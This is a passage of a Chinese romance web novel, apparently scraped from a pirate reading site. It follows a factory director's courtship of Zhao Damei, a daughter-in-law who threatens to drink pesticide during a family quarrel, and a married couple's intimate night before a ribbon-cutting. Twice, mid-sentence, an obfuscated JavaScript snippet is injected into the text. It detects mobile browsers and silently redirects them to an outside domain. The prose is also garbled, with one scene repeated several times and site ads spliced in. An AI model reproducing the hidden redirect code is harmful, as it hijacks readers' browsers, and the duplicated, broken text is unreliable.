“你们慢慢吃,仓库刚到了批货,堆得乱七八糟的,我先去归置归置,下午好上架。 说完,不等众人搭话,头也不抬地就往外走。 张国强举着筷子,看着赵大梅消失的方向,眼 神里的失落几乎要溢出来那夹着菜的筷子在空中顿了好几秒才讪讪地收了回来。 周柒柒和李萍交换了一个心知肚明的眼神。 李萍摇摇头小声嘀咕了一声“老树发新枝可惜大梅妹子心硬。” 周柒柒不赞同地撇撇嘴也压低了声音。 “人家俩才三十出头咋就成老树了?正是谈对象的好年纪呢!” 饭后周柒柒跟张国强一块儿离开档口。 张国强推着厂里那辆除了铃铛不响哪儿都响的三轮车周柒柒就坐在车斗里往第一服装厂的方向去。 出了喧闹的市场路边的白杨树叶子“沙沙”响周围一下子静了不少。 周柒柒看着前面张国强耷拉着的肩膀心里头盘算着干脆开门见山。 “张厂长您跟我说实话是不是看上我家大梅姐了?” 张国强猛地被这话问得一怔脚底下的蹬子都差点踩空黝黑的脸上“腾”地又红了。 “你……你咋看出来的?” 周柒柒扶了扶额角觉得这问题问得有点多余。 “这不是明摆着的事儿吗?是个人都能看出来。” 张国强的眼神忽闪忽闪的不敢看她手在车把上攥得紧紧的。 “柒柒这……这事儿吧……我就是觉得大梅同志人好能干。最主要是她上次还救了我家那几个娃孩子们现在天天念叨她这不……隔三岔五就想找她……” “打住!” 周柒柒毫不客气地打断他目光直勾勾地盯着他的后背 “张厂长 “不是!绝对不是!” 张国强一听这话就急了声音都拔高了好几度脸涨得通红。 “嘎吱”“哐啷”“呼啦”好几声把三轮车停在路边猛地转过头来额头上的青筋都跳了跳。 “柒柒你误会了我” 他急得嘴都有点拌蒜半天说不出句整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945360|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话索性深吸了一大口气才慢慢开了口声音恳切。 “我……我承认我是觉得大梅同志很不一样。你还记得咱俩 第一次见面的时候不?我送你去搭她的驴车那回? 周柒柒愣了一下,不过是赵大梅顺手抱了他一把,搁在她这儿早八百年就忘到脑后勺去了。 可张国强压根没给她接话的空当,自顾自就往下说。 “她就那么把我整个横抱起来,没让我踩着狗屎,你不知道,她力气那么大,眼神里满是韧劲 他说着说着,粗糙的手指头无意识地摩挲着,喉结上下滚了滚才又开腔。 “自从那天起,我有时候在厂里忙着,不知道为啥,脑子里忽然就会想到她横抱着我的样子,就觉得心里有点说不清道不明的滋味儿 “她救孩子,那是她心善,我感激她,孩子也喜欢她,但这都不是主要的。 说全网首发无弹窗免费阅读caixs.com⒃(请来才小 说 看最新章节 完整章节) 说到这儿,他那常年握扳手磨出厚茧的大手往后脑勺一挠,指节蹭得头发乱糟糟的,肩膀微微塌着。 那模样瞧着又笨拙又实在,倒像是个怕挨批评的半大孩子。 “柒柒妹子,我嘴笨,不会说那些绕弯子的话。从前我跟我那口子,也是媒人牵的线,三言两语就定了亲,所以我是真不知道该咋跟女同志相处。我就是……就是觉得大梅同志这人好,打心眼儿里想多瞅瞅她,可又怕自己莽莽撞撞的,唐突了人家。 张国强和他亡妻的事儿周柒柒听说过。 按照他的条件,其实再娶一个不是难事,但妻子去世八年了,他都没有再娶。 自己一个人带着孩子,办公室桌上也放着全家的照片,算是一个对家庭挺负责的男人了。 周柒柒看他窘迫又坦诚的样子,心里那点疑虑散了大半,语气也缓和下来。 “行,不是为了孩子就好,但是 她正色道。 “大梅姐家里的情况,你都了解吗?这可不是小事儿,你得实打实想清楚了再做决定,别是一时头脑发热,更不能是觉得她可怜才想帮衬。 说着便是把赵大梅家里的情况都说清楚了。 张国强听着周柒柒的话,非但没有退缩,眼神反而更坚定的了。 他挺直了腰板。 “柒柒妹子,多谢你跟我说这些掏心窝子的话。家里有老有小有啥了不起的?到了我们这把年纪,谁家不是一摊子事儿?第一服装厂那四五百号人,老的少的哭的闹的,我都能给拉扯顺了,这点担子,压根不算啥! “而且,听你这么一说,我只觉得心疼,也更佩服她!再她身上,我好像看到当年我自己的影子.我懂她的不容易,我是认真想和她好的! 周柒柒看着她眼中真挚的光芒,点了点头。 “行,张厂长,你有这份心就成,那追人家女同志,就得投其所好,别总拿谈工作当由头,大梅姐不傻,她心里明白着呢,你越这样,她躲得越远! “哎!我回头准好好琢磨琢磨…… 张国强把这话听进了心里,用力点了点头,瞧着是真往心里去了。 第194章 赌输了 说话间,两人很快到了第一服装厂。 一进厂区,张国强脸上那点刚才的局促劲儿就没了,带着周柒柒直奔里头的生产车间。 之前签合同的时候,本来说好立马开工,可资金到位慢了些,加上采购布料又耽误了几天。 所以两人商量着,先把厂里积压的那些旧款式改造项目给赶出来。 厂里一共五条生产线,现在四个都在紧锣密鼓地生产。 “花城那批做服装批发的老板心急得很,货还没生产完呢,就已经全都被定走了,等过几天货款到了之后,马上结算给你。 张国强指着流水线上堆得整整齐齐的成衣,语气里带着点自豪。 介绍完这边,张国强又带着周柒柒去了最新的那个车间。 “这个就是你承包的生产线了,设备都调试好了,工人也都培训到位了,明天一早咱们就剪彩开工! 正说着,就见一群师傅推着几辆板车过来了,车上摞着一捆捆的毛线。 周柒柒一看,为首的不是别人,正是马师傅,她带来的,就是明天要开工的新款式。 正是之前周柒柒设计改造的那款可拆卸毛衣袖套的毛衣裙。 张国强笑呵呵的。 “上次那款在花城就卖得火,可惜当时货太少,没够卖。这次咱们加足了劲儿生产,还把细节改了改,多弄了几个颜色,我估摸着,这准能成这一季的爆款! 周柒柒看着整洁有序和车间和马师傅跃跃欲试的神情,心中也充满了干劲和期待。 忙碌的时间过得飞快。 周柒柒在城里处理完开工前的各种细节,抬头一看窗外,天色已经擦黑。 等张国强送她回批发市场的时候,只见路边正停着那辆熟悉的驴车。 赵大梅正坐在车辕上等她。 周柒柒笑道,“我自行车还在档口后院呢,我去推过来。 赵大梅抬眼瞅了她一下,下巴往驴车后头努了努,声音里带着点笑意。 “早给你放驴车上了,知道你能坐着肯定不乐意骑车。 在大梅姐面前,周柒柒感觉自己像个小妹妹一样,什么事情都被她照顾得好好的。 她也不推辞,麻利地爬上驴车,挨着赵大梅后头,坐在她 专属的软垫上。 小说全网首发无弹窗免费阅读caixs.com?(请来才 小说 看最新章节 完整章节) 驴车“得得得”地走在傍晚的街道上,路边的路灯亮了起来,昏黄的光洒在地上,拉出两道长长的影子。 晚风带着点凉意,拂过脸颊,把一天的疲惫都吹跑了。 周柒柒往赵大梅身边靠了靠,心里头甜丝丝的。 这日子啊,就像这驴车似的,一步一个脚印,稳稳当当的,有奔头! 到了家属院,赵大梅帮着把自行车给卸下来,周柒柒拉着她回了家,让她在院子里等着,去王家把王大嫂喊了过来。 王大嫂本来正在院子里心不在焉地给花浇水呢,一听赵大梅来了,手里的水瓢“哐当”一声掉在地上,水洒了一地也顾不得。 赶紧胡乱在围裙上擦了擦手,继续是跑着跟着周柒柒去了她家。 她一开始还以为赵大梅这是原谅她们,还像原来那样卖花,后来知道只是每天抽一点时间,还有点失落。 但对她来说,赵大梅肯回来,就已经是天大的好事了。 她主动提出来,这分成改成五五分,赵大梅当然不肯,但是她的语气异常坚决,带着一种豁出去的硬气。 “必须五五分!我婆婆那边,我去说!这些花草都是我种的,这生意我说了算!” 看她眼中的光芒,赵大梅和周柒柒都知道劝不动她,也就这么定下了。 可事情压根没这么顺当。 王婆婆知道后,马上就跳脚了,说什么也不同意,顺手就抄起水缸里的水瓢,劈头盖脸就朝王大嫂泼了过去。 那水缸里的水都是井水,大冷天的,浇了王大嫂一身,顺着头发梢往下滴,冻得她嘴唇都发紫了。 但王大嫂这一回没有像往常那样低头妥协,而是冲进花房,拿了一瓶农药出来,拧开盖子,高高举起。 “这事儿我做主!您要是不同意,我今天就把这药给喝了!反正这日子我也过够了,您就当没我这个媳妇!” 她举着瓶子的手“哗哗”地抖着,脸上分不清是泪水还是刚才泼的凉水,顺着下巴往下淌。 王婆婆吓得脸都白了,连连往后退了好几步,手指头哆哆嗦嗦地指着王大嫂,话都说不利索了。 “你……你疯了?为了这点花草,你至于吗?命都不要了?” 王团长也被 媳妇这不要命的架势惊呆了他扭头对着吓懵的王婆婆语气是从未有过的强硬。 “妈!你就少说两句吧!你年纪大了以后家里的事儿你就别管了全都交给我媳妇!” 王婆婆看着儿子那张铁青的脸又瞅瞅儿媳妇那副豁出去的样子再看看那瓶标签都泛黄的农药。 她腿一软“噗通”一声瘫坐在椅子上嘴唇哆嗦着翻来覆去就那么几句话。 “行行行……你们说了算我不管了……不管了……” 这事儿就这么在王家的一场惊涛骇浪里以一种近乎惨烈的方式总算定了下来。—— 而周柒柒这边则要平静得多。 吃完饭洗过澡周柒柒坐在床边的缝纫机前“哒哒哒”的机杼声在安静的房间里显得格外清晰。 这阵子天儿一天比一天凉穿单衣都觉得风往骨头缝里钻。 她今儿个特意在厂里多要了些厚布料这会儿正低着头给一家三口赶制厚睡衣呢。 手底下的活计看着挺专注针脚走得又匀又密。 可实际上不由自主地越过缝纫机微微晃动的机头往书桌那边瞟。 沈淮川坐在灯光下脊背挺直 他正专注地写着报告钢笔笔尖划过纸张发出沙沙的轻响侧脸在台灯的光晕里显得轮廓分明沉稳专注。 周柒柒强迫自己把视线拉回缝纫机上可没一会儿又忍不住飘过去。 他写字的姿态从容不迫笔尖不疾不徐仿佛完全没有察觉到她带点心虚的窥探。 偏他这副按兵不动的样子倒让周柒柒心里更发虚了手里的布料都差点缝歪了。 她可没忘自己先前跟他打的那个赌输得明明白白的。 真是可恶……他怎么就猜得那么准?难不成比她还了解大梅姐的心思? 周柒柒手下的针线猛地一顿针尖差点戳到手指头上。 她心里嘀咕着耳根却不受控制地开始发烫。 愿赌服输是正理儿可一想到沈淮川昨晚那低沉带笑、意有所指的话语还有黑暗里那几乎要把人融化的滚烫气息。 周柒柒的心跳 就跟打鼓似的止不住地往下胡思乱想…… 她光顾着走神压根没注意到就在这当口那沙沙的写字声突然停了。 沈淮川合上报告本钢笔帽“咔哒”一声轻响扣上。 他舒展了一下肩颈骨骼发出轻微的脆响然后才慢悠悠转过身目光精准地捕捉到缝纫机后面那个看似埋头苦干、实则浑身紧绷的身影。 他嘴角噙着一抹了然又带着点促狭的笑意深邃的眼眸在灯光下显得格外灼亮。 他起身高大的身影在地板上投下长长的影子一步步朝她走来无声无息却带着不容忽视的压迫感。 等周柒柒反应过来阴影已经笼罩下来将她和缝纫机都拢在其中。 缝纫机的“嗒嗒”声彻底停了房间里只剩下两人细微的呼吸声一轻一重地交织着。 沈淮川的声音低沉带着一丝不易察觉的沙哑笑意在寂静中清晰无比。 “柒柒账该清了吧?” 周柒柒的心猛地一跳她强作镇定手指无意识地揪着刚缝好的衣襟声音尽量放的公事公办。 “什么帐?厂里货款还没结呢张副厂长说.” 话还没说完就感觉自己微微泛红的耳根被他看得一清二楚那点强装的镇定瞬间就泄了一半。 沈淮川低低笑了一声那笑声像是羽毛刮着她的心尖。 他俯下身一手撑在缝纫机台面上将她困在自己与机器之间狭小的空间里温热的呼吸拂过她额头的碎发和敏感的耳廓。 “装傻?” 他的声音更近更低带着一种洞悉一切的笃定热气喷洒在她皮肤上激起一阵细小的战栗。 “我们的赌约你输了。” 最后三个字轻飘飘的但是却像是小锤子一样敲在周柒柒心上彻底击碎了她那点强装的镇定。 她感觉脸颊的温度在飙升几乎不敢抬头看他近在咫尺的脸。 “.知道啦!” 周柒柒猛地抬起头试图用拔高的音量掩盖心里的慌乱努力想维持住最后一点“气势”。 “你说吧什么要求?我周柒柒说话算话!” 沈淮川眼底的笑意更深了还带着点幽暗的光。 他伸出手修长有力的手指带着薄茧轻轻捏住她小巧的下巴力道温和却不容抗拒地抬起迫使她的目光与自己灼热的视线撞在一起。 他的眼神像是带着钩子牢牢地锁住她声音压得极低每个字都裹着滚烫的暧昧直白得让周柒柒都快喘不过气来。 “我的要求.你心里清楚.” 那目光在她脸上扫了一圈最终落在她微微张开、色泽诱人的唇瓣上 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 就跟打鼓似的,止不住地往下胡思乱想…… 她光顾着走神,压根没注意到,就在这当口,那沙沙的写字声突然停了。 沈淮川合上报告本,钢笔帽“咔哒”一声轻响扣上。 他舒展了一下肩颈,骨骼发出轻微的脆响,然后才慢悠悠转过身,目光精准地捕捉到缝纫机后面那个看似埋头苦干、实则浑身紧绷的身影。 他嘴角噙着一抹了然又带着点促狭的笑意,深邃的眼眸在灯光下显得格外灼亮。 他起身,高大的身影在地板上投下长长的影子,一步步朝她走来,无声无息,却带着不容忽视的压迫感。 等周柒柒反应过来,阴影已经笼罩下来,将她和缝纫机都拢在其中。 缝纫机的“嗒嗒”声彻底停了,房间里只剩下两人细微的呼吸声,一轻一重地交织着。 沈淮川的声音低沉,带着一丝不易察觉的沙哑笑意,在寂静中清晰无比。 “柒柒,账,该清了吧?” 周柒柒的心猛地一跳,她强作镇定,手指无意识地揪着刚缝好的衣襟,声音尽量放的公事公办。 “什么帐?厂里货款还没结呢,张副厂长说.” 话还没说完,就感觉自己微微泛红的耳根被他看得一清二楚,那点强装的镇定瞬间就泄了一半。 沈淮川低低笑了一声,那笑声像是羽毛刮着她的心尖。 他俯下身,一手撑在缝纫机台面上,将她困在自己与机器之间狭小的空间里,温热的呼吸拂过她额头的碎发和敏感的耳廓。 “装傻?” 他的声音更近,更低,带着一种洞悉一切的笃定,热气喷洒在她皮肤上,激起一阵细小的战栗。 “我们的赌约,你输了。” 最后三个字,轻飘飘的,但是却像是小锤子一样敲在周柒柒心上,彻底击碎了她那点强装的镇定。 她感觉脸颊的温度在飙升,几乎不敢抬头看他近在咫尺的脸。 “.知道啦!” 周柒柒猛地抬起头,试图用拔高的音量掩盖心里的慌乱,努力想维持住最后一点“气势”。 “你说吧,什么要求?我周柒柒说话算话!” 沈淮川眼底的笑意更深了,还带着点幽暗的光。 他伸出手,修长有力的手指带着薄茧,轻轻捏住她小巧的下巴,力道温和却不容抗拒地抬起,迫使她的目光与自己灼热的视线撞在一起。 他的眼神像是带着钩子,牢牢地锁住她,声音压得极低,每个字都裹着滚烫的暧昧,直白得让周柒柒都快喘不过气来。 “我的要求.你心里清楚.” 那目光在她脸上扫了一圈,最终落在她微微张开、色泽诱人的唇瓣上,意图昭然若揭。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 就跟打鼓似的,止不住地往下胡思乱想…… 她光顾着走神,压根没注意到,就在这当口,那沙沙的写字声突然停了。 沈淮川合上报告本,钢笔帽“咔哒”一声轻响扣上。 他舒展了一下肩颈,骨骼发出轻微的脆响,然后才慢悠悠转过身,目光精准地捕捉到缝纫机后面那个看似埋头苦干、实则浑身紧绷的身影。 他嘴角噙着一抹了然又带着点促狭的笑意,深邃的眼眸在灯光下显得格外灼亮。 他起身,高大的身影在地板上投下长长的影子,一步步朝她走来,无声无息,却带着不容忽视的压迫感。 等周柒柒反应过来,阴影已经笼罩下来,将她和缝纫机都拢在其中。 缝纫机的“嗒嗒”声彻底停了,房间里只剩下两人细微的呼吸声,一轻一重地交织着。 沈淮川的声音低沉,带着一丝不易察觉的沙哑笑意,在寂静中清晰无比。 “柒柒,账,该清了吧?” 周柒柒的心猛地一跳,她强作镇定,手指无意识地揪着刚缝好的衣襟,声音尽量放的公事公办。 “什么帐?厂里货款还没结呢,张副厂长说.” 话还没说完,就感觉自己微微泛红的耳根被他看得一清二楚,那点强装的镇定瞬间就泄了一半。 沈淮川低低笑了一声,那笑声像是羽毛刮着她的心尖。 他俯下身,一手撑在缝纫机台面上,将她困在自己与机器之间狭小的空间里,温热的呼吸拂过她额头的碎发和敏感的耳廓。 “装傻?” 他的声音更近,更低,带着一种洞悉一切的笃定,热气喷洒在她皮肤上,激起一阵细小的战栗。 “我们的赌约,你输了。” 最后三个字,轻飘飘的,但是却像是小锤子一样敲在周柒柒心上,彻底击碎了她那点强装的镇定。 她感觉脸颊的温度在飙升,几乎不敢抬头看他近在咫尺的脸。 “.知道啦!” 周柒柒猛地抬起头,试图用拔高的音量掩盖心里的慌乱,努力想维持住最后一点“气势”。 “你说吧,什么要求?我周柒柒说话算话!” 沈淮川眼底的笑意更深了,还带着点幽暗的光。 他伸出手,修长有力的手指带着薄茧,轻轻捏住她小巧的下巴,力道温和却不容抗拒地抬起,迫使她的目光与自己灼热的视线撞在一起。 他的眼神像是带着钩子,牢牢地锁住她,声音压得极低,每个字都裹着滚烫的暧昧,直白得让周柒柒都快喘不过气来。 “我的要求.你心里清楚.” 那目光在她脸上扫了一圈,最终落在她微微张开、色泽诱人的唇瓣上,意图昭然若揭。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 就跟打鼓似的,止不住地往下胡思乱想…… 她光顾着走神,压根没注意到,就在这当口,那沙沙的写字声突然停了。 沈淮川合上报告本,钢笔帽“咔哒一声轻响扣上。 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他俯下身,一手撑在缝纫机台面上,将她困在自己与机器之间狭小的空间里,温热的呼吸拂过她额头的碎发和敏感的耳廓。 “装傻? 他的声音更近,更低,带着一种洞悉一切的笃定,热气喷洒在她皮肤上,激起一阵细小的战栗。 “我们的赌约,你输了。 最后三个字,轻飘飘的,但是却像是小锤子一样敲在周柒柒心上,彻底击碎了她那点强装的镇定。 她感觉脸颊的温度在飙升,几乎不敢抬头看他近在咫尺的脸。 “.知道啦! 周柒柒猛地抬起头,试图用拔高的音量掩盖心里的慌乱,努力想维持住最后一点“气势。 “你说吧,什么要求?我周柒柒说话算话! 沈淮川眼底的笑意更深了,还带着点幽暗的光。 他伸出手,修长有力的手指带着薄茧,轻轻捏住她小巧的下巴,力道温和却不容抗拒地抬起,迫使她的目光与自己灼热的视线撞在一起。 他的眼神像是带着钩子,牢牢地锁住她,声音压得极低,每个字都裹着滚烫的暧昧,直白得让周柒柒都快喘不过气来。 “我的要求.你心里清楚. 那目光在她脸上扫了一圈,最终落在她微微张开、色泽诱人的唇瓣上,意图昭然若揭。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 就跟打鼓似的,止不住地往下胡思乱想…… 她光顾着走神,压根没注意到,就在这当口,那沙沙的写字声突然停了。 沈淮川合上报告本,钢笔帽“咔哒一声轻响扣上。 他舒展了一下肩颈,骨骼发出轻微的脆响,然后才慢悠悠转过身,目光精准地捕捉到缝纫机后面那个看似埋头苦干、实则浑身紧绷的身影。 他嘴角噙着一抹了然又带着点促狭的笑意,深邃的眼眸在灯光下显得格外灼亮。 他起身,高大的身影在地板上投下长长的影子,一步步朝她走来,无声无息,却带着不容忽视的压迫感。 等周柒柒反应过来,阴影已经笼罩下来,将她和缝纫机都拢在其中。 缝纫机的“嗒嗒声彻底停了,房间里只剩下两人细微的呼吸声,一轻一重地交织着。 沈淮川的声音低沉,带着一丝不易察觉的沙哑笑意,在寂静中清晰无比。 “柒柒,账,该清了吧? 周柒柒的心猛地一跳,她强作镇定,手指无意识地揪着刚缝好的衣襟,声音尽量放的公事公办。 “什么帐?厂里货款还没结呢,张副厂长说. 话还没说完,就感觉自己微微泛红的耳根被他看得一清二楚,那点强装的镇定瞬间就泄了一半。 沈淮川低低笑了一声,那笑声像是羽毛刮着她的心尖。 他俯下身,一手撑在缝纫机台面上,将她困在自己与机器之间狭小的空间里,温热的呼吸拂过她额头的碎发和敏感的耳廓。 “装傻? 他的声音更近,更低,带着一种洞悉一切的笃定,热气喷洒在她皮肤上,激起一阵细小的战栗。 “我们的赌约,你输了。 最后三个字,轻飘飘的,但是却像是小锤子一样敲在周柒柒心上,彻底击碎了她那点强装的镇定。 她感觉脸颊的温度在飙升,几乎不敢抬头看他近在咫尺的脸。 “.知道啦! 周柒柒猛地抬起头,试图用拔高的音量掩盖心里的慌乱,努力想维持住最后一点“气势 “你说吧,什么要求?我周柒柒说话算话! 沈淮川眼底的笑意更深了,还带着点幽暗的光。 他伸出手,修长有力的手指带着薄茧,轻轻捏住她小巧的下巴,力道温和却不容抗拒地抬起,迫使她的目光与自己灼热的视线撞在一起。 他的眼神像是带着钩子,牢牢地锁住她,声音压得极低,每个字都裹着滚烫的暧昧,直白得让周柒柒都快喘不过气来。 “我的要求.你心里清楚. 那目光在她脸上扫了一圈,最终落在她微微张开、色泽诱人的唇瓣上,意图昭然若揭。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 就跟打鼓似的止不住地往下胡思乱想…… 她光顾着走神压根没注意到就在这当口那沙沙的写字声突然停了。 沈淮川合上报告本钢笔帽“咔哒”一声轻响扣上。 他舒展了一下肩颈骨骼发出轻微的脆响然后才慢悠悠转过身目光精准地捕捉到缝纫机后面那个看似埋头苦干、实则浑身紧绷的身影。 他嘴角噙着一抹了然又带着点促狭的笑意深邃的眼眸在灯光下显得格外灼亮。 他起身高大的身影在地板上投下长长的影子一步步朝她走来无声无息却带着不容忽视的压迫感。 等周柒柒反应过来阴影已经笼罩下来将她和缝纫机都拢在其中。 缝纫机的“嗒嗒”声彻底停了房间里只剩下两人细微的呼吸声一轻一重地交织着。 沈淮川的声音低沉带着一丝不易察觉的沙哑笑意在寂静中清晰无比。 “柒柒账该清了吧?” 周柒柒的心猛地一跳她强作镇定 “什么帐?厂里货款还没结呢张副厂长说.” 话还没说完就感觉自己微微泛红的耳根被他看得一清二楚那点强装的镇定瞬间就泄了一半。 沈淮川低低笑了一声那笑声像是羽毛刮着她的心尖。 他俯下身一手撑在缝纫机台面上将她困在自己与机器之间狭小的空间里温热的呼吸拂过她额头的碎发和敏感的耳廓。 “装傻?” 他的声音更近更低带着一种洞悉一切的笃定热气喷洒在她皮肤上激起一阵细小的战栗。 “我们的赌约你输了。” 最后三个字轻飘飘的但是却像是小锤子一样敲在周柒柒心上彻底击碎了她那点强装的镇定。 她感觉脸颊的温度在飙升几乎不敢抬头看他近在咫尺的脸。 “.知道啦!” 周柒柒猛地抬起头试图用拔高的音量掩盖心里的慌乱努力想维持住最后一点“气势”。 “你说吧什么要求?我周柒柒说话算话!” 沈淮川眼底的笑意更深了还带着点幽暗的光。 他伸出手修长有力的手指带着薄茧轻轻捏住她小巧的下巴力道温和却不容抗拒地抬起迫使她的目光与自己灼热的视线撞在一起。 他的眼神像是带着钩子牢牢地锁住她声音压得极低每个字都裹着滚烫的暧昧直白得让周柒柒都快喘不过气来。 “我的要求.你心里清楚.” 那目光在她脸上扫了一圈最终落在她微微张开、色泽诱人的唇瓣上意图昭然若揭。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第195章 第一百九十五章 愿赌服输 周柒柒的心跳快得想要擂破胸膛。 被他这样直白地、带着掌控意味地注视着,一股强烈的羞耻感和被洞穿的无力感涌了上来。 她想起昨晚他那个带有暗示意味的动作,输了,就得. 但奇怪的是,她着感觉并不全然是抗拒,反而夹杂着一丝隐秘的、期待的战栗。 她在他深邃的眼眸里,看到了自己羞窘的倒影。 就在沈淮川的吻即将落下的瞬间,周柒柒像是忽然想起了什么,眼神一闪。 她猛地偏开头,避开了他的唇,动作里带着一点小小的倔强和狡黠。 “等等!” 她声音有些急促,推开他撑在台面上的手臂,灵活地从他和缝纫机的缝隙钻了出来。 快步走到床边,从自己今天带回来的挎包里,摸出一样东西。 是一条崭新的藏青色领带,质地厚实挺括。 沈淮川挑眉看向她拿着领带走回来,眼中闪过一丝迷惑。 周柒柒脸上红晕未退,却努力扬起下巴,带着一种“愿赌服输但也不能让你太得意”的微妙气势。 她走到他面前,踮起脚尖,将领带绕过他的衬衣领口。 她的手指微微颤抖,呼吸也有些乱,动作却异常坚持。 “虽然是你的‘要求’,但是” 她的声音又娇又媚,还带着一丝偷来的掌控欲,“得按照我的方式来.” 沈淮川配合地微微低头,看着她轻松地打好一个略显松垮的结,眼神闪过一丝不易察觉的幽暗。 但很快,那一缕幽暗就散去了,取而代之的,是眼底越来越浓的笑意。 那是一种纵容,也是一种无声的邀约。 他爱**她这一副明明羞得要命,却还要强撑着主导的模样。 领带打好,周柒柒猛吸一口气,双手忽然用力抓住领带的两端,猛地向下一拽! 沈淮川猝不及防,被她拽得一个趔趄,高大的身躯瞬间失去平衡,向后跌坐在松软的床铺上。 他发出一声短促而惊讶的低哼,随即眼中爆发出更浓烈、更危险的光芒,像是被点燃的火焰。 周柒柒借着拽领带的力道,顺势就跨坐了上去! 居高临下的位置瞬间颠倒了两人之间的气场。 周柒柒脸颊绯红,眼神却亮得惊人,带着一种豁出去的、羞涩又大胆的光芒。 她的双手依旧紧紧攥着领带的两端,像是掌控缰绳的骑士,将他牢牢地“钉在床上。 “愿赌. 她的气息有些不稳,俯视着他,红唇轻启,“.服输。 沈淮川仰望着她,喉结剧烈滚动了一下。 她眼中那份强壮的镇定和破釜沉舟的勇气,混合着天生的妩媚,形成一种致命的吸引力。 他不再试图起身,反而放松着身体,任由她掌控。 灯不知何时熄灭了,窗外的月光也被云层遮蔽 不知过了多久,周柒柒酸软地趴在沈淮川的胸膛上,像是一只脱力的小兽。 沈淮川的大手一下下地,无比怜惜地抚着她的后背。 “不行.明天还要剪彩 周柒柒了解他,还以为他还要继续,赶忙含糊地提醒。 沈淮川低头,在她汗湿地额发上印下一个温存至极的吻,声音沙哑温柔。 “嗯,知道,睡吧。 他有力的手臂往她怀里紧了紧,拉住薄被盖住两人。 周柒柒在他沉稳有力的心跳声中,疲惫和满足如同潮水般涌来,意识很快沉入甜甜的梦乡。 第二天天气很好,清晨的阳光从窗帘缝隙洒进来的时候,周柒柒迷迷糊糊就醒来了。 身体虽然还有些慵懒的酸软,但精神却异常饱满。 她利落地起身洗漱,从衣柜里拿出了那件为今天剪彩特意赶制的礼服裙。 这件裙子她做了一个礼拜,可谓是精心准备了。 选用了厚实挺阔、带有暗纹的墨绿色真丝面料,光泽内敛而华贵。 版型是新中式改良旗袍的样式,立领盘扣,端庄典雅。 领口巧妙地开成了水滴状,恰到好处地露出了精致白皙的锁骨,增添了几分含蓄的性感。 腰身收得紧,针脚勒得密,把她那细细的腰肢和鼓鼓的胸脯都裹得显显亮亮的。 从腰部往下,流畅的线条延伸至膝盖下方,侧边开了高衩,行走间,笔直修长的小腿若隐若现。 整条裙子既保留了传统旗袍的韵味,又融入了现代礼服的简约流畅,将周柒柒高挑匀称、前凸后 翘的身材优势展现得淋漓尽致更衬得她肌肤胜雪气质卓然。 当她穿戴整齐略施薄粉从里间走出来的时候正在布置早餐的沈淮川闻声抬头目光瞬间定住了。 眼前的媳妇美得惊人。 墨绿色的礼服与她雪白的肌肤形成强烈对比那玲珑有致的曲线在剪裁得体的面料包裹下呼之欲出露出的锁骨线条精致诱人。 整个人又纯又媚跟沾了露水的牡丹似的亮得晃眼。 沈淮川喉结上下滚了滚黑沉沉的眼睛里先是闪过惊喜。 接着就被一股子浓得化不开的占有欲盖了住里头还藏着点说不清道不明的酸溜溜。 他大步跨过去伸手把她耳边的碎头发别到耳后手指头蹭过她耳垂声音低得发哑。 “幸好我请了半天假陪你一块儿去。” 周柒柒这才注意到沈淮川今天没穿军装而是换上了一身笔挺的深灰色毛料西装衬得他肩宽腿长比平时更多了几分沉稳贵气。 “谢谢老公。” 周柒柒心里一暖。 然而当她的目光落在他领口系着的领带上时脸颊“腾”的一下红透了—— 正是昨晚那条藏青色的领带! “你你你你怎么系这条?” 周柒柒声音都带了点羞恼的颤音脑中不受控制地闪过昨晚那些令人面红耳赤的画面。 尤其是自己最后“主导”时拽着这条领带的场景。 沈淮川脸不红气不喘的伸手把领带结系得更周正些一本正经地说。 “没别的了 他顿了顿眼睛在她红扑扑的脸上打了个转嘴角偷偷勾了勾露出点笑。 “这条挺好颜色也配最重要的是是你亲手给我挑的……” 说最后这句时他故意往她跟前凑了凑热气都喷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952551|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她脸上了。 周柒柒才不信他没别的领带的说辞可看看墙上的挂钟再磨蹭下去该迟到了。 只得狠狠剜了他一眼转身就往饭桌那儿走。 饭桌上舟舟眼睛亮晶晶的看着穿着漂亮礼服的婶婶再看看西装革履、英俊挺拔的叔叔用小手比划了两人一下小嘴巴无声地说着。 “天生一对。” 这词儿舟舟从没说过周柒柒看了好几遍才看懂被她给逗笑了脸上红晕更深。 “舟舟你都跟谁学的这些词儿?肯定是向阳那个小皮猴教的。” 沈淮川听见这话眉头立马皱了起来 “以后少跟姜向阳玩。” 周柒柒瞧着他那防贼似的样儿忍不住又笑了。 吃完饭舟舟去上学秦磊也开着军用的吉普车过来了。 车子刚驶到家属院路边就看到胡春晓拎着大包小包正站在路边焦急地张望显然是在等采购车。 “春晓姐去城里吗?顺路捎你一段!” 周柒柒摇下车窗招呼。 胡春晓一看是他们喜出望外:“哎呀太好了!正愁东西多呢采购车半天不来!” 她拎着大包小包的东西自行车根本都装不下。 